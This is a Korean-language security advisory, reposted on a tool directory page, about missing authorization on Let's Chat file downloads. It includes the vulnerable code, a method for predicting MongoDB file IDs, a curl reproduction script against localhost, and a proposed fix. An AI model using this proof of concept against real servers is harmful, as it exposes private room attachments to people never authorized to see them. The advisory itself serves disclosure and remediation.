Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-66750-Insufficient-Access-Controls-Allow-for-Unauthorized-File-Downloads-Let-s-Chat- — 보안 권고: 불충분한 접근 제어로 인한 무단 파일 다운로드 허용 (Let's Chat) | Kitploit
도구/GitHubGitHub/theopaid/cve-2026-66750-insufficient-access-controls-allow-for-unauthorized-file-downloads-let-s-chat-
Authentication & AuthorizationVulnerability AnalysisWeb SecurityMisconfigurationLearning & Education
GitHubtheopaid/cve-2026-66750-insufficient-access-controls-allow-for-unauthorized-file-downloads-let-s-chat-

CVE-2026-66750-Insufficient-Access-Controls-Allow-for-Unauthorized-File-Downloads-Let-s-Chat-

보안 권고: 불충분한 접근 제어로 인한 무단 파일 다운로드 허용 (Let's Chat)

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기
23일 전아직 검토되지 않음

보안 권고: 부적절한 접근 제어로 인한 무단 파일 다운로드 허용 (Let's Chat)

지정 CVE ID: CVE-2026-66750

요약

GET /files/:id/:name는 호출자가 로그인되어 있는지 확인한 후 파일을 제공합니다. 호출자가 파일이 속한 룸을 볼 수 있는지 여부는 절대 확인하지 않습니다.

따라서 모든 계정은 자신이 멤버가 아닌 비공개 및 비밀번호 보호 룸의 첨부 파일을 읽을 수 있으며, 룸에 대한 접근 권한이 박탈된 사용자도 접근 권한이 있던 동안 업로드된 모든 파일에 대해 계속 작동하는 다운로드 링크를 유지합니다.

동일한 컨트롤러의 파일 목록 엔드포인트는 멤버십을 확인하지만, 다운로드 엔드포인트에는 이 확인이 누락되어 있습니다.

영향을 받는 버전

저장소 URL: https://github.com/sdelements/lets-chat

0.3.0(커밋 55e8833, 2015년 1월 24일, "Files backend")부터 최종 릴리스인 0.4.8까지 취약합니다. 수정 버전은 존재하지 않습니다.

비공개 및 비밀번호 보호 룸은 0.4.0에서 도입되었으므로, 이 취약점이 침범하는 기밀성 경계는 0.4.0부터 존재합니다.

files.enable: true가 필요하며, 이는 defaults.yml에서는 꺼져 있지만 파일 공유가 문서화된 기능이므로 많은 배포 환경에서는 켜져 있습니다.

커밋 617207f의 0.4.8과 docker.io/sdelements/lets-chat:latest(0.4.7)에서 확인되었습니다.

분류

CWE-639: 사용자 제어 키를 통한 권한 부여 우회. 또한 CWE-862, 누락된 권한 부여.

CVSS 4.0 기본 점수 5.3(중간) CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

위협 모델

공격자는 일반 사용자 계정 하나, HTTP 포트에 대한 네트워크 접근, 그리고 파일의 ObjectId가 필요합니다. 기본적으로 자체 등록이 활성화되어 있습니다.

실제로 이 id는 비밀이 아닙니다. 룸의 멤버였던 사람은 누구나 이미 이 id를 가지고 있습니다. files:list와 업로드 시 게시되는 upload://files/<id>/<name> 메시지가 둘 다 이 id를 제공하기 때문입니다. 접근 권한 제거는 id를 무효화하지 않으며, URL에는 만료나 서명이 없습니다.

대상 룸에서의 이력이 없는 공격자는 id를 추측해야 합니다. 이 id는 UUID가 아닌 MongoDB ObjectId이며, 예측 불가능한 부분이 거의 없습니다:

root@kitploit:~
6a65092c fa7876 0001 34649e
    |       |     |     |
    |       |     |     +--- 3 byte counter, increments by one per document
    |       |     +--------- 2 byte process id
    |       +--------------- 3 byte machine id, fixed for the life of the process
    +----------------------- 4 byte Unix timestamp, one second resolution

카운터를 제외한 모든 것은 서버 프로세스의 수명 동안 일정하며, 카운터는 모든 컬렉션이 공유하는 단일 시퀀스입니다. 따라서 공격자가 자신의 파일 하나를 업로드하면 머신 id, 프로세스 id 및 현재 카운터 위치를 알게 되며, 다른 사람이 업로드한 모든 파일은 해당 시퀀스에서 짧은 거리 내에 있습니다. sdelements/lets-chat:latest에서 연속 8회 업로드한 결과:

root@kitploit:~
6a65092c fa7876 0001 34649e
6a65092c fa7876 0001 34649f
6a65092c fa7876 0001 3464a0
6a65092c fa7876 0001 3464a1
6a65092c fa7876 0001 3464a2
6a65092c fa7876 0001 3464a3
6a65092c fa7876 0001 3464a4
6a65092c fa7876 0001 3464a5

기술적 세부 사항

다운로드 라우트는 requireLogin만 적용하며 그 외에는 아무것도 적용하지 않습니다. app/controllers/files.js:59-92:

root@kitploit:~
app.route('/files/:id/:name')
    .all(middlewares.requireLogin)
    .get(function(req, res) {
        models.file.findById(req.params.id, function(err, file) {
            if (err) {
                // Error
                return res.send(400);
            }

            if (!file) {
                return res.send(404);
            }

            var isImage = [
              'image/jpeg',
              'image/png',
              'image/gif'
            ].indexOf(file.type) > -1;

            var url = core.files.getUrl(file);

            if (settings.provider === 'local') {
                res.sendFile(url, {
                    headers: {
                        'Content-Type': file.type,
                        'Content-Disposition': isImage ? 'inline' : 'attachment'
                    }
                });
            } else {
                res.redirect(url);
            }

        });
    });

file.room은 로드되지만 그 후에는 결코 참조되지 않습니다.

동일한 기능의 목록 경로는 멤버십을 기준으로 차단합니다. app/core/files.js:156-175:

root@kitploit:~
Room.findById(options.room, function(err, room) {
    ...
    var opts = {
        userId: options.userId,
        password: options.password
    };

    room.canJoin(opts, function(err, canJoin) {
        ...
        if (!canJoin) {
            return cb(null, []);
        }

따라서 애플리케이션에는 이미 필요한 확인(Room.canJoin, app/models/room.js:130에 정의)이 있습니다. 다운로드 라우트가 이 확인을 호출하지 않을 뿐입니다.

재현

files.enable: true와 rooms.private: true(LCB_FILES_ENABLE=true LCB_ROOMS_PRIVATE=true)가 필요합니다.

root@kitploit:~
BASE=http://localhost:5000

for U in owner insider; do
  curl -s -X POST $BASE/account/register \
    -H 'Content-Type: application/json' \
    -d "{\"username\":\"$U\",\"email\":\"[email protected]\",
         \"password\":\"Passw0rd!23\",\"password-confirm\":\"Passw0rd!23\",
         \"firstName\":\"$U\",\"lastName\":\"T\",\"displayName\":\"$U\"}"
  curl -s -c $U.txt -X POST $BASE/account/login \
    -H 'Content-Type: application/json' \
    -d "{\"username\":\"$U\",\"password\":\"Passw0rd!23\"}"
done

# 1. The owner creates a private room and adds the insider. Note the room id.
curl -s -b owner.txt -X POST $BASE/rooms -H 'Content-Type: application/json' \
  -d '{"name":"Project","slug":"project","private":true}'
RID=<room id>
curl -s -b owner.txt -X PUT $BASE/rooms/$RID -H 'Content-Type: application/json' \
  -d '{"name":"Project","description":"","participants":"insider"}'

# 2. The owner uploads a file. Note the file id.
echo "CONFIDENTIAL-PRODUCT-ROADMAP" > roadmap.png
curl -s -b owner.txt -F "[email protected];type=image/png" $BASE/rooms/$RID/files
FID=<file id>

# 3. The owner revokes the insider.
curl -s -b owner.txt -X PUT $BASE/rooms/$RID -H 'Content-Type: application/json' \
  -d '{"name":"Project","description":"","participants":""}'

# 4. The insider is now correctly locked out of the room.
curl -s -b insider.txt "$BASE/files?room=$RID"
curl -s -b insider.txt "$BASE/messages?room=$RID"

# 5. But the file still downloads.
curl -s -b insider.txt "$BASE/files/$FID/roadmap.png"

파일 id가 주어지면 룸의 멤버였던 적이 없는 계정에도 동일한 결과가 적용됩니다.

영향

비공개 및 비밀번호 보호 룸의 첨부 파일은 파일 id를 보유하거나 유도할 수 있는 서버의 모든 계정이 읽을 수 있습니다. 비공개 룸에서 누군가를 제거하거나 룸 비밀번호를 변경해도 이미 업로드된 파일에 대한 접근이 차단되지 않으며, 룸을 보관 처리해도 마찬가지입니다.

제안된 수정

룸을 로드하고 files:list가 이미 수행하는 확인을 재사용하십시오. app/controllers/files.js:62의 if (!file) 가드 이후에:

root@kitploit:~
models.room.findById(file.room, function(err, room) {
    if (err || !room) {
        return res.sendStatus(404);
    }

    room.canJoin({ userId: req.user._id, password: req.param('password') },
                 function(err, canJoin) {
        if (err || !canJoin) {
            return res.sendStatus(404);
        }

        // existing sendFile / redirect logic
    });
});

권한이 없는 id에 대해 403 대신 404를 반환하면 파일이 존재한다는 사실을 확인해 주는 것을 피할 수 있습니다.

도구 다운로드